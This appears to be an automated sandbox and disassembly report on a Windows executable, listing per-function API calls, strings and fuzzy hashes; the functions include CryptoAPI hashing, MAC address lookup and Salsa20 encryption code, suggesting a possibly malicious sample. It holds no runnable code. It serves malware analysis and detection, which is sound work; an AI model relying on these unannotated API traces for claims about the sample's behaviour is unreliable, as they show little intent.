Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 00427B11

Part of subcall function 00427AD7: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,i;B,00427B16,i;B,?,00428BCA,000000FF,0000001E,00507BD0,00000008,00428B0E,i;B,i;B), ref: 00427AE6
Part of subcall function 00427AD7: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00427AF8

ExitProcess.KERNEL32 ref: 00427B1A

Strings

i;B, xrefs: 00427B0E

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID: i;B
API String ID: 2427264223-472376889
Opcode ID: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction ID: 59367741208a4d0b8125be5957acfda0e57e61d39344a7bf1a3f5abf2379cf84
Opcode Fuzzy Hash: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction Fuzzy Hash: 0DB09230404108BBCB052F52EC0A85D3F29EB003A0B408026F90848031EBB2AA919AC8

Function 0042FB64 Relevance: 3.0, APIs: 2, Instructions: 17
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 0042FB7B

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

__tzset_nolock.LIBCMT ref: 0042FB8E

Part of subcall function 0042FE47: __lock.LIBCMT ref: 0042FE6C
Part of subcall function 0042FE47: ____lc_codepage_func.LIBCMT ref: 0042FEB3
Part of subcall function 0042FE47: __getenv_helper_nolock.LIBCMT ref: 0042FED4
Part of subcall function 0042FE47: _free.LIBCMT ref: 0042FF07
Part of subcall function 0042FE47: _strlen.LIBCMT ref: 0042FF0E
Part of subcall function 0042FE47: __malloc_crt.LIBCMT ref: 0042FF15

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock_free_strlen
String ID:
API String ID: 1282695788-0
Opcode ID: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction ID: e2ddc43a93f61bf79f0790849a809cb79cc8f4f227a559e0d4967367be19fad2
Opcode Fuzzy Hash: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction Fuzzy Hash: 69E0BF35E41664DAD620A7A2F91B75C7570AB14329FD0D16F9110111D28EBC15C8DA2E

Function 00427F3D Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_doexit.LIBCMT ref: 00427F47

Part of subcall function 00427E0E: __lock.LIBCMT ref: 00427E1C
Part of subcall function 00427E0E: DecodePointer.KERNEL32(00507B08,0000001C,00427CFB,00423B69,00000001,00000000,i;B,00427C49,000000FF,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E5B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E6C
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E85
Part of subcall function 00427E0E: DecodePointer.KERNEL32(-00000004,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E95
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E9B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EB1
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EBC

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$Encode$__lock_doexit
String ID:
API String ID: 2158581194-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction ID: a7e7560d2adc556c6fb323ffd13f600db444db9a7111c1ec19eeb8b3048b151f
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: ABB01271A8430C33DA113642FC03F053B0C4740B54F610071FA0C2C5E1A593B96040DD

Non-executed Functions

Function 00481920 Relevance: 121.3, APIs: 41, Strings: 28, Instructions: 587
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExA.KERNEL32(00000094), ref: 00481983
LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00481994
LoadLibraryA.KERNEL32(KERNEL32.DLL), ref: 004819A1
LoadLibraryA.KERNEL32(NETAPI32.DLL), ref: 004819AE
GetProcAddress.KERNEL32(00000000,NetStatisticsGet), ref: 004819E8
GetProcAddress.KERNEL32(?,NetApiBufferFree), ref: 004819FB
FreeLibrary.KERNEL32(?), ref: 00481AC5
GetProcAddress.KERNEL32(?,CryptAcquireContextW), ref: 00481ADB
GetProcAddress.KERNEL32(?,CryptGenRandom), ref: 00481AEE
GetProcAddress.KERNEL32(?,CryptReleaseContext), ref: 00481B01
FreeLibrary.KERNEL32(?), ref: 00481C15
LoadLibraryA.KERNEL32(USER32.DLL), ref: 00481C36
GetProcAddress.KERNEL32(00000000,GetForegroundWindow), ref: 00481C50
GetProcAddress.KERNEL32(?,GetCursorInfo), ref: 00481C63
GetProcAddress.KERNEL32(?,GetQueueStatus), ref: 00481C76
FreeLibrary.KERNEL32(?), ref: 00481D45
GetProcAddress.KERNEL32(?,CreateToolhelp32Snapshot), ref: 00481D73
GetProcAddress.KERNEL32(?,CloseToolhelp32Snapshot), ref: 00481D86
GetProcAddress.KERNEL32(?,Heap32First), ref: 00481D99
GetProcAddress.KERNEL32(?,Heap32Next), ref: 00481DAC
GetProcAddress.KERNEL32(?,Heap32ListFirst), ref: 00481DBF
GetProcAddress.KERNEL32(?,Heap32ListNext), ref: 00481DD2
GetProcAddress.KERNEL32(?,Process32First), ref: 00481DE5
GetProcAddress.KERNEL32(?,Process32Next), ref: 00481DF8
GetProcAddress.KERNEL32(?,Thread32First), ref: 00481E0B
GetProcAddress.KERNEL32(?,Thread32Next), ref: 00481E1E
GetProcAddress.KERNEL32(?,Module32First), ref: 00481E31
GetProcAddress.KERNEL32(?,Module32Next), ref: 00481E44
GetTickCount.KERNEL32 ref: 00481F03
GetTickCount.KERNEL32 ref: 00481FF1
GetTickCount.KERNEL32 ref: 00482066
GetTickCount.KERNEL32 ref: 00482095
GetTickCount.KERNEL32 ref: 004820FB
GetTickCount.KERNEL32 ref: 00482118
GetTickCount.KERNEL32 ref: 00482187
GetTickCount.KERNEL32 ref: 004821A4

Strings

Process32First, xrefs: 00481DDA
Heap32Next, xrefs: 00481DA1
Thread32First, xrefs: 00481E00
Module32First, xrefs: 00481E26
NetApiBufferFree, xrefs: 004819F0
Intel Hardware Cryptographic Service Provider, xrefs: 00481B9C
GetForegroundWindow, xrefs: 00481C4A
CryptReleaseContext, xrefs: 00481AF6
USER32.DLL, xrefs: 00481C31
CloseToolhelp32Snapshot, xrefs: 00481D7B
Heap32First, xrefs: 00481D8E
Heap32ListFirst, xrefs: 00481DB4
Module32Next, xrefs: 00481E39
Thread32Next, xrefs: 00481E13
LanmanWorkstation, xrefs: 00481A26
GetQueueStatus, xrefs: 00481C6B
Process32Next, xrefs: 00481DED
CryptAcquireContextW, xrefs: 00481AD5
CreateToolhelp32Snapshot, xrefs: 00481D67
Heap32ListNext, xrefs: 00481DC7
GetCursorInfo, xrefs: 00481C58
$, xrefs: 00481F7E
KERNEL32.DLL, xrefs: 0048199C
NETAPI32.DLL, xrefs: 004819A9
NetStatisticsGet, xrefs: 004819E2
LanmanServer, xrefs: 00481A74
ADVAPI32.DLL, xrefs: 00481989
CryptGenRandom, xrefs: 00481AE3

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: AddressProc$CountTick$Library$Load$Free$Version
String ID: $$ADVAPI32.DLL$CloseToolhelp32Snapshot$CreateToolhelp32Snapshot$CryptAcquireContextW$CryptGenRandom$CryptReleaseContext$GetCursorInfo$GetForegroundWindow$GetQueueStatus$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Intel Hardware Cryptographic Service Provider$KERNEL32.DLL$LanmanServer$LanmanWorkstation$Module32First$Module32Next$NETAPI32.DLL$NetApiBufferFree$NetStatisticsGet$Process32First$Process32Next$Thread32First$Thread32Next$USER32.DLL
API String ID: 842291066-1723836103
Opcode ID: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction ID: 1a290f2a1335d0d3a86819d1d60d6f49a84e0195e1de194fff26f42f4ca9d5b3
Opcode Fuzzy Hash: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction Fuzzy Hash: 683273B0E002299ADB61AF64CC45B9EB6B9FF45704F0045EBE60CE6151EB788E84CF5D

Function 00410FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149encryptionstringCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00411010
__CxxThrowException@8.LIBCMT ref: 00411026

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0041103B
__CxxThrowException@8.LIBCMT ref: 00411051
lstrlenA.KERNEL32(?,00000000), ref: 00411059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00411064
__CxxThrowException@8.LIBCMT ref: 0041107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00411099
__CxxThrowException@8.LIBCMT ref: 004110AB
_memset.LIBCMT ref: 004110CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 004110DE
__CxxThrowException@8.LIBCMT ref: 004110F0
_malloc.LIBCMT ref: 00411100
_memset.LIBCMT ref: 0041110B
_sprintf.LIBCMT ref: 0041112E
lstrcatA.KERNEL32(?,?), ref: 0041113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00411154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0041115F

Strings

%.2X, xrefs: 00411128

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: afcee35d8fffc0279d29cc69f214b0122642615a52b78f57353c1cfd92a6c2ef
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: 92516171E40219BBDB10DBE5DC46FEFBBB8FB08704F14012AFA05B6291D77959018BA9

Function 0040E870 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000), ref: 0040E8CE
__CxxThrowException@8.LIBCMT ref: 0040E8E4

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040E8F9
__CxxThrowException@8.LIBCMT ref: 0040E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0040E928
__CxxThrowException@8.LIBCMT ref: 0040E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040E95D
__CxxThrowException@8.LIBCMT ref: 0040E96F
_memset.LIBCMT ref: 0040E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040E9A2
__CxxThrowException@8.LIBCMT ref: 0040E9B4
_sprintf.LIBCMT ref: 0040E9D3

Strings

%.2X, xrefs: 0040E9CD

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X
API String ID: 1084002244-213608013
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 6020eefb82f776eec2353dc0ff897aa1862dcd4ecc30860888fbdadc8ba65bc1
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 835173B1E40209EBDF11DFA2DC46FEEBB78EB04704F10452AF501B61C1D7796A158BA9

Function 0040EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000), ref: 0040EB01
__CxxThrowException@8.LIBCMT ref: 0040EB17

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040EB2C
__CxxThrowException@8.LIBCMT ref: 0040EB42
CryptHashData.ADVAPI32(00000000,?,?,00000000), ref: 0040EB4E
__CxxThrowException@8.LIBCMT ref: 0040EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,?,00000000), ref: 0040EB83
__CxxThrowException@8.LIBCMT ref: 0040EB95
_memset.LIBCMT ref: 0040EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040EBC8
__CxxThrowException@8.LIBCMT ref: 0040EBDA
_sprintf.LIBCMT ref: 0040EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 0040EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0040EC4F

Strings

%.2X, xrefs: 0040EBEE

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 14d7d02cf3c54262bdef7e6fa07b3cadf7b2b7504ea62fb0b9d39e8d8664034d
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: A6515371E40209ABDF11DBA6DC46FEFBBB8EB04704F14052AF505B62C1D77969058BA8

Function 004822E0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004549A0: GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
Part of subcall function 004549A0: GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
Part of subcall function 004549A0: GetDesktopWindow.USER32 ref: 004549FB
Part of subcall function 004549A0: GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
Part of subcall function 004549A0: GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
Part of subcall function 004549A0: _wcsstr.LIBCMT ref: 00454A8A

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00482316
CreateCompatibleDC.GDI32(00000000), ref: 00482323
GetDeviceCaps.GDI32(00000000,00000008), ref: 00482338
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00482341
CreateCompatibleBitmap.GDI32(00000000,?,00000010), ref: 0048234E
SelectObject.GDI32(00000000,00000000), ref: 0048235C
GetObjectA.GDI32(00000000,00000018,?), ref: 0048236E
BitBlt.GDI32(?,00000000,00000000,?,00000010,?,00000000,00000000,00CC0020), ref: 004823CA
GetBitmapBits.GDI32(?,?,00000000), ref: 004823D6
SelectObject.GDI32(?,?), ref: 00482436
DeleteObject.GDI32(00000000), ref: 0048243D
DeleteDC.GDI32(?), ref: 0048244A
DeleteDC.GDI32(?), ref: 00482450

Strings

DISPLAY, xrefs: 00482311
.\crypto\rand\rand_win.c, xrefs: 00482383

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Object$CreateDelete$BitmapCapsCompatibleDeviceInformationSelectUserWindow$AddressBitsDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: .\crypto\rand\rand_win.c$DISPLAY
API String ID: 151064509-1805842116
Opcode ID: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction ID: 00d76d2b57e2ae43ffa0e146b327d2d4306243c0a97269805a4caa25bb15a565
Opcode Fuzzy Hash: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction Fuzzy Hash: 0441BB71944300EBD3105BB6DC86F6FBBF8FF85B14F00052EFA54962A1E77598008B6A

Function 0040E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040E67F

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: HeapAlloc.KERNEL32(006C0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040E68B
_wprintf.LIBCMT ref: 0040E69E
_free.LIBCMT ref: 0040E6A4

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6B9
_free.LIBCMT ref: 0040E6C5
_malloc.LIBCMT ref: 0040E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6E0
_sprintf.LIBCMT ref: 0040E720
_wprintf.LIBCMT ref: 0040E732
_wprintf.LIBCMT ref: 0040E73C
_free.LIBCMT ref: 0040E745

Strings

Error allocating memory needed to call GetAdaptersinfo, xrefs: 0040E699
%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0040E71A
Address: %s, mac: %s, xrefs: 0040E72D

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 473631332-1604013687
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 1f0497fb971ee708fef02f82321736b2a43cb7681c3985dbc626545fd8dc3fd8
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 251127B2A045647AC27162F76C02FFF3ADC8F45705F84056BFA98E1182EA5D5A0093B9

Function 0040FB98 Relevance: 15.3, APIs: 10, Instructions: 266stringCOMMON

Download Yara Rule

APIs

PathAppendW.SHLWAPI(?,?), ref: 0040FBD5
_memmove.LIBCMT ref: 0040FC3C
PathFileExistsW.SHLWAPI(?,?,?,?), ref: 0040FC63
_malloc.LIBCMT ref: 0040FC72
lstrcpyW.KERNEL32(00000000,?), ref: 0040FC8C
lstrcatW.KERNEL32(00000000,?), ref: 0040FCA5
_free.LIBCMT ref: 0040FCD7

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Path$AppendExistsFile_free_malloc_memmovelstrcatlstrcpy
String ID:
API String ID: 3232302685-0
Opcode ID: 17126a02ccb6bbc5f32dfe245874f9dcbc49a53b6c6b99fc4e7ab7c0e104719e
Instruction ID: e959444c36dd18fc08dff6604914d564c76187b82df2896015b22d61e5b1ffa1
Opcode Fuzzy Hash: 17126a02ccb6bbc5f32dfe245874f9dcbc49a53b6c6b99fc4e7ab7c0e104719e
Instruction Fuzzy Hash: 09B19F70D00208DBDF20DFA4D945BDEB7B5BF15308F50407AE40AAB291E7799A89CF5A

Function 004382A2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00438568,?,00000000), ref: 004382E6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00438568,?,00000000), ref: 00438310

Strings

OCP, xrefs: 004382C4
ACP, xrefs: 004382B3

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction ID: cf0fde08c92294f7ab6fed71b02f11d94bd2ad82eb759ef3fcb1a01a65759ec5
Opcode Fuzzy Hash: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction Fuzzy Hash: FA01C431200615ABDB205E59DC45FD77798AB18B54F10806BF908DA252EF79DA41C78C

Function 0040C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 0040C09A

Strings

input != nullptr && output != nullptr, xrefs: 0040C095
e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0040C090

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 1562121ec4d7abfac7b8d7a3269f54288592c24a15d8ca99342f0f863a8d7c6a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 43C18C75E002599FCB54CFA9C885ADEBBF1FF48300F24856AE919E7301E334AA558B54

Function 00411178 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 00411190
CryptReleaseContext.ADVAPI32(?,00000000), ref: 004111A0

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction ID: be51c898aa0ddf1eb2c7ddf255022cb250d4a78141f94ceb906d675081cd9b05
Opcode Fuzzy Hash: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
